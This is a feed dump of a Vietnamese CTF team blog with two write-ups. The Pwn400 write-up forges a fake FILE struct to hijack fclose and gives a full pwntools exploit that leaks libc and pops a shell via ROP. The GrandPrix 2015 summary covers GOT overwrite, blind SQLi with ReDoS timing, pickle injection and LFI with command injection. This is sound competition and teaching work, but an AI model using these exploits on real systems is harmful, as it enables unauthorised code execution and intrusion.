whitehat – BabyPhD CTF Team https://babyphd.net Nói chung đây là một khái niệm vô cùng trừu tượng Mon, 12 Sep 2016 09:44:28 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.2 104079289 Whitehat Contest 12 - Pwn400 https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/ https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/#comments Sun, 11 Sep 2016 16:29:10 +0000 https://babyphd.net/?p=600 Continue reading Whitehat Contest 12 - Pwn400 ]]>

Líp vẫn nhớ và yêu Híp nhiều lắm ...

Chiến đấu bên những người anh em luôn làm tôi cảm thấy thoải mái và phấn khích. Đợt contest này cả đội đã có 1 ngày không ngủ, cũng gần như không ăn, chỉ dùng lon bò húc để cầm hơi. Cả đội đã rất nỗ lực và hy vọng tràn trề khi lúc đầu liên tục tranh giành top 1 với kỳ phùng địch thủ. Cho đến giữa đêm, do thiếu một chút may mắn ( tôi thì không nghĩ vậy, đêm là khoảng thời gian tôi hay rơi vào trạng thái không ổn định pudency ) mà mọi người mất dần ý chí chiến đấu, nhìn đội khác vươn lên. Có lẽ nếu như tôi dành được 400 điểm từ bài này thì mọi chuyện đã khác. Nhưng dù sao "có lẽ" vẫn chỉ là 1 từ người ta dùng để biện hộ cho lỗi lầm của mình mà thôi.

Đề bài cho 1 file binary có chức năng dùng để viết và đọc 1 file trên server. Thoạt nhìn, tôi đã thấy bài này quen rồi, và có vẻ như chủ đề này vừa được tôi nghiên cứu cách đây 2 tháng. Ta có thể thấy lỗi khá rõ ràng ở hàm `read_file`

int read_file()
{
  char ptr; // [sp+18h] [bp-110h]@4
  size_t n; // [sp+118h] [bp-10h]@4
  FILE *stream; // [sp+11Ch] [bp-Ch]@1

  printf("file name: ");
  __fpurge(stdin);
  gets(name);
  stream = fopen(name, "rb");
  if ( !stream )
  {
    puts("Error: cannot open file. ");
    exit(1);
  }
  fseek(stream, 0, 2);
  n = ftell(stream);
  fseek(stream, 0, 0);
  fread(&ptr, 1u, n, stream);            // Does not check boundary of ptr
  puts(&ptr);
  return fclose(stream);
}

Như vậy, ta có thể cho chương trình đọc một nội dung file có kích thước lớn để kích hoạt lỗi buffer overflow. Tuy nhiên, ta cũng thấy `ptr` nằm ở `sp + 18h` còn `stream` thì nằm ở `sp + 11Ch` nên có thể khai thác lỗi bằng cách dùng bảng IO_FILE_JUMP.

Bài toán 1

Vẫn chiến thuật cũ, tôi bắt đầu từ chương trình đơn giản hơn là gọi hàm `fclose()` với tham số truyền vào là một mảng char. Sau một thời gian sử dụng gdb và "lỗi đến đâu sửa đến đó", tôi đã tìm được những giá trị cần có trong mảng

#include <stdio.h>
char a[256];

int main () {
    *((int *)a + 1) = 0xdeadbeaf;
    *((int *)a + 0x48 / 4) = a;
    *((int *)a + 0x94 / 4) = a - 4;
    fclose(a);
    return 0;
}

Và tất nhiên, kết qủa sẽ là `Invalid $PC address: 0xdeadbeaf`. Tuy nhiên, lần này tôi cũng nhận ra một điều là tôi không thể truyền được tham số khi gọi hàm theo kiểu này. Nếu cấc bạn step từng bước để vào bên trong libc, các bạn sẽ thấy trước khi call ,libc sẽ thực hiện:

push 0x0
push esi                            ; file pointer
call DWORD PTR [eax + 0x8]

Tôi phát hiện ra rằng chương trình không có stack protector, nên nếu như tôi lừa libc cho nó chạy như bình thường với mảng char, tôi có thể đè lên EIP và các gía trị sau đố rồi làm như những bài BoF bình thường. Tôi thử gọi hàm puts thì được kết qủa:

free(): invalid pointer: 0x0804a060 ***

Không ngoài dự đoán, theo như những gì google được thì hàm `fclose()` sau khi thực hiện việc đóng file sẽ giải phóng bộ nhớ đã cấp trước đó ( file pointer cũng là "híp" mà big_smile ).

Bài toán 2

Như vậy, ngoài việc biến mảng a thành một con trỏ file giả, thì ta cũng cần biến nó thành một heap chunk giả nữa. Tiếp tục sử dụng gdb, lần này thêm một cửa sổ khác để debug chương trình mà free một con trỏ đã malloc thực sự. Việc này giúp ta dễ dàng theo dõi luồng thực thi của chương trình đúng và biết sẽ phải sửa cái gì cho chương trình sai. Sau một hồi lâu sửa đi sửa lại, tôi cũng có được những gía trị cần tìm ( ở đây tôi chọn fclose(a + 16) cho nó thoải mái, tránh trường hợp truy xuất vào ô nhớ nào đó phía trước ):

#include <stdio.h>
char a[256];

int main () {
    puts("abcd");
    *((int *)a + 3) = 0xa1;
    *((int *)a + 4 + 1) = 0x8048350;
    *((int *)a + 4 + 0x48 / 4) = a + 16;
    *((int *)a + 4 + 0x94 / 4) = a + 16 - 4;
    *((int *)a + 43) = 0x20b59;
    *((int *)a + 44) = a + 34*4;
    *((int *)a + 45) = a + 38*4;
    *((int *)a + 34 + 3) = a + 42*4;
    *((int *)a + 38 + 2) = a + 42*4;
    fclose(a + 16);
    return 0;
}

Vậy là xong rồi, quay trở lại bài readfile, ta sẽ thực hiện 2 công việc:

  • Gọi hàm write_file để tạo ra một file tên là "inp", nội dung sẽ là `padding + name_address + padding + rop chain`
  • Gọi hàm read_file, đọc file có tên là "inp\x00" + fake_file_struct mà ta vừa tạo ra

Ez local shell, Ez life

[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Puts: 0xf7e5cb80
[*] Printf: 0xf7e46590
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode

$ id
uid=1000(tuanit96) gid=1000(hardtobelieve) groups=1000(hardtobelieve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
tuanit96
$  

Bài toán 3

Proof of Concept

from pwn import *

def read_file(name):
	s.sendline("2")
	s.recvuntil("file name: ")
	s.sendline(name)

def write_file(name, content):
	s.sendline("1")
	s.recvuntil("file name: ")
	s.sendline(name)
	s.recvuntil("Give me the size: ")
	#print s.recv()
	s.sendline(str(len(content)))
	s.recvuntil("Give me the buffer: ")
	s.sendline(content)

name1 = "/tmp/abc"
name2 = "/tmp/def"
name3 = "/tmp/ghi"

name_addr = 0x804a0a0 + 16
puts_plt = 0x80485b0
puts_got = 0x804a01c
printf_got = 0x804a000
popret = 0x080486c3
start = 0x8048640

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(puts_plt) + p32(popret) + p32(puts_got) + p32(puts_plt) + p32(popret) + p32(printf_got))

s.close()

#s = remote("118.70.80.143", 23504)
s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
s.recvuntil("0:exit\n")

fake_file = "\x00"*4*1 + p32(0xa1) + "\x00"*4*1              # 2 blocks
fake_file += p32(puts_plt) + "\x00"*4*16         # 17 blocks
fake_file += p32(name_addr) + "\x00"*4*14        # 15 blocks
fake_file += p32(name_addr + 38*4) + "\x00"*4*2    # 3 blocks
fake_file += p32(name_addr + 38*4)                 # 1 blocks
fake_file += p32(name_addr - 4) + "\x00"*4*1     # 2 blocks
fake_file += p32(0x20b59)                        # 1 blocks
fake_file += p32(name_addr + 30*4)                 # 1 blocks
fake_file += p32(name_addr + 34*4)

payload1 = name1 + fake_file
read_file(payload1)
data = s.recv()
data += s.recv()

puts = u32(data.split('\n')[-3][:4])
printf = u32(data.split('\n')[-2][:4])
log.info("Puts: " + hex(puts))
log.info("Printf: " + hex(printf))

s.close()

system = printf - 0x00049590 + 0x0003ad80
binsh = printf - 0x00049590 + 0x15ba3f

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(system) + p32(popret) + p32(binsh))

s.close()

#s = remote("103.237.99.25",  23504)
s = remote("localhost", 4000)
s.recvuntil("0:exit\n")
read_file(payload1)
s.interactive()

Tôi hí hửng exploit với con server của họ, ngờ đâu nó chết không thương tiếc beat_brick. Đờ đẫn một lúc không hiểu chuyện gì xảy ra, tôi mới thử đem sang một máy khác chạy bản ubuntu cũ hơn tôi, và nó cũng chịu chung số phận. Có vẻ libc ở bản cũ và bản mới khác nhau ( cách xử lý, offset, ... ). Lúc đó là 2h đêm và nghĩ đến việc giờ ngồi debug lại trên libc-2.19 là tôi lại muốn đi ... Ý boss. Tôi thầm mắng chửi ban tổ chức, lẽ ra phải đưa cả libc cho người chơi chứ, nhưng rồi lại nhận ra, có lẽ họ cũng không biết được điều đó xảy ra, cũng giống mình ban nãy vậy.

Vậy là tôi đã đánh mất 400 điểm dù nó đã nằm trong tay, cảm giác thật giống với việc tối đã để tuột mất tay Híp khi vẫn còn đang nắm chặt vậy ...

]]>
https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/feed/ 2 600
[Whitehat GrandPrix 2015] Writeup https://babyphd.net/2015/10/28/whitehat-grandprix-2015-writeup/ https://babyphd.net/2015/10/28/whitehat-grandprix-2015-writeup/#comments Wed, 28 Oct 2015 03:03:23 +0000 https://babyphd.net/?p=367 Continue reading [Whitehat GrandPrix 2015] Writeup ]]> Pwn200:

ASLR tắt, bug cho phép ghi đè 2 byte vào địa chỉ char *buf = malloc(20);. Với ASLR tắt thì địa chỉ map của [heap] section sex fix ở dạng 0x0804xxxx, do đó ta có thể điều khiểu *buf = got_table một cách dễ dàng. Phương pháp khai thác như sau:

  • Ghi đè free's got = trở lại phần read để đọc > 40 bytes => stack overflow.
  • Ghi đè strtoimax's = địa chỉ lệnh ret
  • Ghi đè memcpy => leave;ret => tiến hành trigger buffer overflow khi trở lại hàm read để đọc > 40 bytes. Ngoài ra do ASLR tắt nên địa chỉ map của libc luôn fix, nên công việc còn lại chỉ là bruteforce libc base addr.

Mã khai thác: https://gist.github.com/peternguyen93/f4e9bf786c2df2ab968f

Pwn300:

Lỗ hổng stack base buffer overflow rất rõ ràng khi sử dụng hàm gets(buf), do binary được compiled 32 bit do đó ta có thể control địa chỉ flag và đọc được bất cứ dữ liệu nào của memory

void find_flag(char *flag)
{
    char buf[256];
    make_flag(flag); //đổi flag
    while(1){
       gets(buf);
       printf("%s%s\n",buf,flag);
    }
}

Mã khai thác

https://gist.github.com/peternguyen93/e187ad6cee83346298ce

Pwn500:

Binary sử dụng các kỹ thuật anti-debug và cấm sử dụng các syscall (execve,fork,clone). Ngoài ra lỗ hổng buffer overflow khá là rõ ràng, binary được compile bằng PIE. Tuy nhiên, hàm read không tự động viết null bye vào cuối, do đó ta có thể leak được canary và libc_base , thông qua các bước sau:

  • Leak canary.
  • Ghi đè địa chỉ return address về main
  • Leak libc_start_main => libc_base
  • Tiến hành sử dụng rop chain để build mã đọc flag và trả về.

https://gist.github.com/peternguyen93/c4dda7ef5dd7cb549a2f

Web100:

SQL Injection, do chưa filter đấu '\'. Ngoài ra trước khi hết thúc xử lý request, web100 gọi hàm re.findall(r'(y+)*',row), hàm regex findall match tất cả các substring có thể match, ngoài ra chuỗi regex (y+)* với một chút google ta có kq sau https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS , đo đó có thể build một query cho phép ta có thể phân biệt được trạng thái đúng hoặc sai để blind flag dựa trên time base.

https://gist.github.com/peternguyen93/75839e252257e9da62e4

Web200:

Lỗ hỗng rất rõ ràng khi web app sử dụng pickle data serialization, thông qua đó ta có thể sử dụng code injection để có được shell trên server.

https://gist.github.com/peternguyen93/c168c15919a3203acfe2

Web300:

Lỗi LFI cho phép có thể lấy được mã nguồn của website, trong đó thấy được một script cgi lấy thông tin về thời gian. Script này bị lỗi command injection, do giới hạn các hàm connect back, để get shell ta lợi dụng file /run/cgicounter ta có thể đọc từng ký tự của command trả về.

https://gist.github.com/peternguyen93/0c34bc33d99ff71593a7

]]>
https://babyphd.net/2015/10/28/whitehat-grandprix-2015-writeup/feed/ 2 367